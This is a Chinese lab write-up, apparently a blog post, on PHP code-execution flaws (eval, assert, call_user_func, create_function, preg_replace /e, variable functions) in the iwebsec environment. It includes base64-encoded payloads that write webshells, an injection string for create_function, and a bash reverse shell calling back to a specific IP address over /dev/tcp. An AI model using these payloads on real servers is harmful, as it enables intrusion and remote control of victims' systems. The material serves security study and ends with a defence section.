代码执行漏洞 | iwebsec

00-代码执行漏洞原理

代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。PHP代码执行漏洞可以把代码注入应用中最终到webserver去执行。这样的漏洞如果没有特殊的过滤,相当于一个web后门的存在。该漏洞主要由

eval()assert()preg_replace()call_user_func()call_user_func_array()array_map()

等函数的参数过滤不严格导致,另外还有PHP的动态函数$a($b)。【摘自《代码审计——企业级Web代码安全架构》】

命令执行漏洞与代码执行漏洞的区别:命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。

环境

该学习过程使用iwebsec环境。

在这里插入图片描述

01-eval函数示例

eval()函数原本的作用就是用来动态执行代码,所以它们的参数直接是PHP代码。主要源码如下,与一句话木马相似,印证了“相当于一个web后门的存在”:

<?php
	if(isset($_POST[1])){  //post方式接收一个参数
		@eval($_POST[1]);  //执行传入的参数
	}else{
		exit();
	}
?>
命令执行

在这里插入图片描述

执行脚本代码调用操作系统命令。

在这里插入图片描述

在这里插入图片描述

使用echo进行输出。

在这里插入图片描述

在这里插入图片描述
这个原理后面会用到:利用post传参,不能出现<>+=/等符号。

写入webshell

参考了这篇文章,php中代码执行&&命令执行函数

在这里插入图片描述

fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

用burpsuite的解码一下主要部分

在这里插入图片描述

解码

fputs(fopen(shell.php,w),<?php 
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>)
  1. 写入上传马文件

在这里插入图片描述

  1. 写入成功

在这里插入图片描述

  1. 访问上传马

在这里插入图片描述

  1. 写入一句话木马

在这里插入图片描述

  1. 蚁剑连接

在这里插入图片描述

  1. 新写入的木马文件

在这里插入图片描述

我要自己构造一个写入木马的方法。

在这里插入图片描述

木马文件内容

在这里插入图片描述

木马文件名称

在这里插入图片描述

构造出来的语句

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入点写入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

成功了,很好

在这里插入图片描述

bash反弹shell
<?php system("bash -i >& /dev/tcp/8.134.148.36/2233 0>&1");  ?>

在这里插入图片描述

在这里插入图片描述

构造出语句

fputs(fopen(base64_decode(MzMucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdjM2x6ZEdWdEtDSmlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMemd1TVRNMExqRTBPQzR6Tmk4eU1qTXpJREErSmpFaUtUc2dJRDgr)));

监听端口

在这里插入图片描述

在这里插入图片描述

02-assert函数示例

assert()功能:判断一个表达式是否成立,返回true or false,重点是该函数会执行此表达式。与eval类似,字符串被 assert() 当做 PHP 代码来执行。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

webshell

利用上面的shell,木马文件名为22.php,密码为1

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

源代码

<?php
	if(isset($_POST[1])){
		@assert($_POST[1]);
	}else{
		exit();
	}
?>

03-call_user_func函数示例

在这里插入图片描述

什么是回调函数?

回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

源代码

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		//第一个参数是我们想要调用的函数名,第二个参数是调用函数的参数
		call_user_func($_POST['fun'], $_POST['arg']);  
	}else{
		exit();
	}
?>

04-call_user_func_array函数示例

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func_array($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
总结

call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架中动态调用函数,所以一般比较小的程序较少出现这种方式的代码执行。

05-create_function函数示例

在这里插入图片描述

在这里插入图片描述

<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; //通过get方式传参
		$code = 'echo '.$func.'test'.$id.';';  //$code是构建的函数里面的代码
		create_function('$func',$code);  //$func是构建的函数的参数
	}else{
		exit();
	}
?>

------------------------可以理解为------------------------
<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; 
		函数名('$func'){
			//$code
			echo $func.'test'.$id;
		}
	}else{
		exit();
	}
?>

------------------------输入 id=1;}phpinfo();/* ------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		//假设$func='111111',只是方便理解
		函数名('$func'){
			echo "111111"."test"."1;}phpinfo();/*";
		}
	}else{
		exit();
	}
?>

------------------------整理一下------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		函数名('$func'){
			//echo之后的结果 111111test1;}phpinfo();/*
			111111test1;
		}
		phpinfo();  //该函数内部有eval(),可以执行字符串.这可能需要深入理解一下create_function才行
		/*;   //这是多行注释符,意味着下面的代码会被注释掉
		}
	}else{
		exit();
	}
?>

在这里插入图片描述

在这里插入图片描述

这个有点难理解,可以一步一步整理一下。

在这里插入图片描述

06-array_map函数示例

在这里插入图片描述

array_map() 函数将用户自定义函数作用到数组中的每个值上(漏洞原理:为数组的每个元素应用回调函数),并返回用户自定义函数作用后的带有新的值的数组。

在这里插入图片描述

<?php
	if(isset($_GET['func'])||isset($_GET['argv'])){
		$func=$_GET['func'];   //自定义的函数名
		$argv=$_GET['argv'];    //可控制的参数
		$array[0]=$argv;
		array_map($func,$array);  //调用func的函数,传入array参数
	}else{
		exit();
	}
?>

在这里插入图片描述

在这里插入图片描述

总结

array_map()函数的作用是调用函数,并且除第一个参数外其他参数为数组,通常会写死第一个参数,即写死调用函数。

call_user_func()、call_user_func_array()、array_map()等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,如果这个传入的参数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。【摘自《代码审计——企业级Web代码安全架构》】

08-preg_replace漏洞函数示例

漏洞触发原理:第一个参数存在e标识符的话,第二个参数的值会被当做PHP代码来执行

在这里插入图片描述

源码

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/e';  //漏洞点
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	   //$subject能匹配$pattern,所以$replacement一定会被当做PHP代码执行
	}else{
		exit();
	}	
?>

利用

在这里插入图片描述

在这里插入图片描述

07-preg_replace无漏洞函数示例

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>
总结

preg_replace()函数的代码执行需要存在/e,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。【摘自《代码审计——企业级Web代码安全架构》】

09-可变函数漏洞示例01

什么是可变函数?

PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。

为什么要使用可变函数?

这种写法跟使用call_user_func的初衷一样,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

源码

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		$func = $_REQUEST['func'];  
		//它没有对输入的参数进行限定,意味着我们可以控制参数,写入非func1和func2的函数名
			echo $func();
	}else{
		exit();
	}
?>

利用

在这里插入图片描述

在这里插入图片描述

10-可变函数漏洞示例02

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		function func3($arg){
			echo "func3函数的参数是".$arg;
		}
		$func = $_REQUEST['func'];  //可控参数
		$arg = $_REQUEST['arg'];  //可控参数
		echo $func($arg);
	}else{
		exit();
	}
?>

利用

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

疑问

这是10-可变函数漏洞示例02

在这里插入图片描述

这是05-create_function函数示例

在这里插入图片描述

首先我们来测试一下下面的代码

<?php
		echo "phpinfo()";
		echo "\n-------------------------";
		echo eval("phpinfo();");
?>

结果如下,第一个echo只能输出字符串phpinfo(),而不能执行。第三个才能echophpinfo()执行的结果。

在这里插入图片描述

因为create_function()在内部执行了eval(),就像上面代码的第三个echo一样。

在这里插入图片描述

11-漏洞防御

  1. 对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)。
  2. 字符串使用单引号包括起可控代码,插入前使用addslashes转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string)。
  3. 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
  4. 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(第二个参数使用单引号包裹)。

希望来到最后的看官们能点个赞~ 非常感谢~
在这里插入图片描述

  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值